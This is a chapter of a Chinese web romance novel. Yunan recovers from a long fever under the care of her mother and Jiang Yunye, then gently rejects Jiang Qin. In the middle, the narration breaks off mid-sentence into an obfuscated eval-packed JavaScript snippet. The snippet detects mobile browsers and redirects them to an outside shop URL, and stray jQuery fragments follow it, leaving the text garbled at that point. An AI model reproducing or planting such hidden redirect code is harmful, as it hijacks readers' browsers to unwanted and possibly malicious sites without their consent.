谁都没想到，悠南整整睡了三天。
江云野提醒她回卧室睡的时候，猛地发现不对劲。
刚睡着不到半个小时，她浑身上下就热得烫手。
一开始叫她，她还能迷迷糊糊答应，后来干脆像没骨头的布偶人，无论怎么叫都没反应。
江云野当即叫了救护车，连夜把她送进了医院。
五人群里，蒋秦他们三个还在为降低“可儿事件”的负面影响做着收尾工作，间歇还提起了“哟梦”以后的发展规划。
群里几次@悠南，悠南都没回音，江云野一番犹豫，还是在群里说了悠南发烧进医院的事。
第二天上午，黎美萍就搭着蒋秦的车到了医院。
推开房门，黎美萍先看到的是陪在病床旁、坐着睡着的江云野，然后才是躺在床上一动不动、正打点滴的女儿。
就算路上江云野及时更新了悠南的情况，说医生诊断她问题不大，可能是之前压力太大、太过劳累，精神突然放松导致的发热，可见到两个孩子的瞬间，黎美萍还是心头一紧、眼眶发酸。
她没立刻往屋里走，而是轻轻把蒋秦往门外带了带，低声劝他也先回酒店补个觉。
蒋秦一脸担忧，却只顺着门缝晃见了江云野，他刚要开口拒绝，就见黎美萍指着屋内笑道：
“等我进去，也让小江老师马上走。阿姨知道，这几天你们都很辛苦，都需要休息。再说你们俩在这，我照顾南南也不方便。”
话说到这份儿上，蒋秦也不好再坚持，临走时又说了几次“有事一定随时打电话”，才忧心忡忡地离开了医院。
黎美萍又去买了些东西才回到病房，两个孩子都没醒，走近一看，一个比一个脸色差。
见江云野的眉头时不时拧到一起，她用手轻轻贴近他的额头，探了探他的体温。
被微凉的手背一触，江云野倏地睁开了眼睛。
认出眼前人的瞬间他立刻起身，却被那双手稳稳按下。
缓了几分钟，他又被那双手拉到旁边的病床上坐下，躺靠在被子旁。
温温的毛巾递到他眼前，他点头双手接过，等他擦完脸，小碗里已经盛好了罐头，直接放到了他的手上。
“吃吧孩子，糖水去火。”
江云野看着碗里莹亮的半颗黄桃，竟一时有些恍惚。
某段模糊的记忆忽然在脑子里一闪而过——好像很小的时候，也有过这样一双手，耐心地照顾过他。
一抬头，萍萍还在冲他笑着，她眼尾的皱纹由深到浅，晕开了眼里的心疼。
不知怎的，心里一直紧绷的弦倏地一松，江云野也感觉身子陡然变重，沉沉的要往下坠。
萍萍竟像看穿了他一般，叫他喝完糖水马上回家休息。
他没说话，扭头望了望离他只有一步之遥的悠南，心底莫名浮上来一种，一觉醒来她就不会在他身边的预感，他摇摇头，只说自己不累。
萍萍就站在两张床中间，江云野的一举一动、一个眼神，她当然看得一清二楚。
短暂沉默后，她也只低头一笑，让江云野先在床上眯会儿，有事了再叫他。
可这一觉，江云野竟从上午眯到了天黑。睁开眼的时候，悠南还在，但还一直睡着，萍萍正把一大碗瘦肉粥分成两份。
江云野马上起身下床，想帮忙的手还没伸出去，又被萍萍抢先塞过来了粥碗。
“吃吧，刚好不烫了。”她还是笑，端起另一碗粥陪他，“还有小菜和包子。”
“好。”他简单应着，也笑。
粥入口即化，吃到胃里还是暖的，包子香料味很重，却很好吃。
这感觉……就好像和悠南一起，被打包照顾了。
饭间闲聊，黎美萍也没提这几天发生的事，只有一搭没一搭地说着悠南的小时候。
她回忆起悠南有一次写作文，题目是《我的梦想》，写的居然是长大以后要做个睡美人，她笑说，这次梦想终于实现了。
江云野一直安静地听，偶尔搭句话，等这顿简单又轻松的晚饭结束，他顺势提出后半夜让萍萍休息，换他来守悠南，却被果断拒绝了。
“听话孩子，回家吧，先调整好你自己……你不用一直守着她，她一定会醒的。”
一句简单的话，江云野琢磨了一路。
一到家，他就打电话向六哥求解：“悠南妈妈这是什么意思？”
“大恩不言谢嘛！”电话那头的六哥语气爽快，“再说这么心疼你……不是要招你当女婿，就是要收你当干儿子！”
这句比刚才那句威力还大，大到江云野差点被一口水呛个半死！
谁要当萍萍的干儿子、悠南的干哥哥啊！
“不让你去，你就别去了。”六哥又劝他，“送她老妈去医院的那个蒋秦，不也没出现吗，肯定是都不让去了。”
“要我说，反正那个蒋秦也是闲着，干脆你俩约出来，把话讲清楚得了呗！”
“……”
走偏的通话被强行结束，不过江云野还真盯着蒋秦的微信聊天页面犹豫了一阵。
抬眼，又看见他的《于野之南》。
他忽然就领会了萍萍的意思。
等悠南一醒，一切都会有答案。
滑出蒋秦的页面，江云野更新了一条朋友圈。
【重启工作，画稿排期中……】
文字的配图也很简单：
一张，是他获奖作品的介绍卡片；另一张，是获奖作品一角的特写——他设计的专属签名字母J。
朋友圈发布的第一时间，蒋秦就看见了。
他按图索骥找到那幅画，盯着画里的悠南看到眼睛发涩。
他也终于知道，悠南视频彩蛋的卡片上，为什么会有一个她手写的、设计独特的字母J。
有件事，即使悠南不醒，也可以确认——就算他站在她的身边，她心尖上的那个位置，也不是他的了。
拿起手边几份和“哟梦”的商业广告洽谈书，还有两家真正的头部MCN机构发来的签约意向，他望着天花板淡淡一笑，手机也熄了屏。
无论如何，在“哟梦”事业新起航的道路上，他还可以做她的同伴吧？
*
其实悠南也不知道怎么回事，就是一直睡不醒，她甚至连梦都没怎么做。
就好像有人把她的脑子摘走，把她的身体丢进了一个叫做“酸和疼”的大缸里不分昼夜地腌着。
直到睁开眼看见萍萍，她才得知，原来她真当了好几天的睡美人，刚刚清醒。
“江云野是不是也病了？”悠南不等萍萍多说，就着急追问，“谁照顾他呢？我去看看他行吗？”
萍萍拍了拍她肩膀，笑着摇头：“我是说他累得脸色不好，也没说他生病啊！不过他确实需要好好休息，你没事先别打扰人家。”
悠南“哦”了一声，耷拉着眼皮缩回床上，低头点着微信上江云野的聊天页面，进了又退，退了又进。
萍萍瞥了悠南一眼，突然话题一转，提起了蒋秦连夜开车跟过来，也一直在酒店等着来医院看她的事。
悠南听得一怔，不知萍萍什么意思。她嘴上没接话，但心里多少有些不高兴。
萍萍默了会儿，不紧不慢地拉过悠南的手，笑得温柔：
“南南啊，这次的事，没有大家的帮忙真过不去，但妈妈不希望从此以后，你想的都是怎么还人家的人情……那样的话，其实谁都不轻松，你是那个最累的。”
“有时候，大大方方承情，事情反倒没那么复杂。这几天，你自己先好好想想，想想你自己的心意，好不好？”
悠南一下子明白了萍萍在讲什么。
她惊诧于萍萍对她的洞悉，又暗暗欣慰，她心里的那份担忧和不确定，被萍萍推向了更清晰的岸边。
“可是妈，我以前在庙里许过一个愿。”悠南苦笑道，“我当时说，我要用那些没用的恋爱和婚姻换我的事业成功和挣大钱呢！”
“哎呀是吗？还有这事儿？”萍萍瞪大双眼，故作惊讶。
“嗯，有。”悠南郑重点头。
“那要这么说……”萍萍重重叹了口气，听得悠南脸色一凛。
“你把‘没用的’换出去，不就剩下‘有用的’啦？”萍萍忽然眉一挑，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17687597|204067||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
笑滋滋地反问。
“……”
悠南反应了会儿，噗嗤一下笑出了声。
还得是萍萍。
出院以后，悠南第一时间联系了蒋秦。
她本想约他出来，当面把话说清楚，可蒋秦却没给她一点机会，电话一接通，他就迫不及待地向她介绍她视频账号现在的状态和下一步的工作计划。
不得已，悠南直接打断了他：“蒋秦，有些话，我想在新工作开始之前先说清楚。”
另一端的人像被突然按了静音。悠南没多说一个字，只等蒋秦先答应。
长久的无声之后，是一声极轻的笑：“悠南，以后我会只和你谈工作的，所以那些话……别说了。”
蒋秦半商量半恳求的语气，拖住了悠南到嘴边的话，但也只拖了几分钟。
话锋一转，她也谈起了工作：“你刚刚不是向我报喜，说弄‘假’成真，那家头部MCN真的要签我？那我要是和他们签约……”
“就得结束和千易工作室的合约。”蒋秦接下了悠南的后半句，却没有不高兴。
他顿了片刻，语气冷静而专业：“但这件事，你必须慎重。头部MCN的内容变现能力确实很强，但越是大机构，签约条款就越苛刻，也很可能限制你的创作自由。”
“好，我会认真问问江老师的意见。”
“……”
悠南说得稀松平常，蒋秦却觉得心被猛地打了一拳。
疼得他闷了声，对话又暂停了。
悠南当然是有意为之。
安静等了会儿，连听了蒋秦两声叹气之后，悠南还是决心一次性把话都说出来：
“蒋秦，其实我并不想签什么头部MCN，通过这次的事，我绝对相信你和工作室的业务能力，也乐意投桃报李。”
“但如果这份合约，不能明确定义你我之间的工作关系和界限，我一样会选择解约，或者在我之前，由你先行使解约权。”
蒋秦手握电话，笑得苦涩：“可我根本就不想要什么解约权，我只想要……”
“蒋秦，”悠南再次打断了他，态度更坚决，“你想要的……现在，不、早就不在我这了。”
话没说完，但也说完了。
刚下过雪的天很晴，也很冷。
挂断电话时，悠南的手也是凉的。
她站在太阳底下，慢慢吸气、吸满，微凉的空气缓缓流入身体、充满整个胸腔，她有意让这份清爽多停留了一会儿，又一口气呼尽。
那些褪了色的记忆、解了冻的心结，也都随之而去了。
她并没有要求蒋秦当时就表态，但当天晚上，蒋秦就在五人群里回复了向荣的问话：【明天回清宁。】
紧接着他又发了条@所有人的消息：【这几天大家辛苦了！可儿的事我们还是持续跟进，之后有情况单线联系吧！】
向荣当即发了【OK】，欣欣也发了只点头小猫。
悠南等了会儿，发现江云野还是没动静——不知道是不是心照不宣，从她清醒到出院，她和江云野还没有给对方发过半个字。
这两天一打开微信，她就想起萍萍说的“别打扰他休息”，她看见了他的朋友圈，既为他重新投入工作而高兴，又怕耽误他画画的正事，同时心里还有一大块失落。
想了想，她还是先在群里发了句感谢，之后又@蒋秦：【这两天辛苦了。路上注意安全，到了吱一声。】
蒋秦回了一个【好】就没再说话，五人群彻底安静了。
悠南的电话也终于响了起来。
是江云野。
手机闪得像着急的心跳，她才反应过来，刚刚心里的“云淡风轻”“波澜不惊”，是种错觉。
也不知道在慌慌个什么劲儿，总之她一激动差点拒接。
电话接通的瞬间，她只把耳朵小心翼翼地贴向手机，不仅没吱声，连大气都没喘。
另一端，没等到通话人的一声“喂”，江云野张了张嘴，也无声站到窗前，眼眉低沉。
“不如我去找你吧，现在！”
一句斩钉截铁的话打破了两个人安静的夜。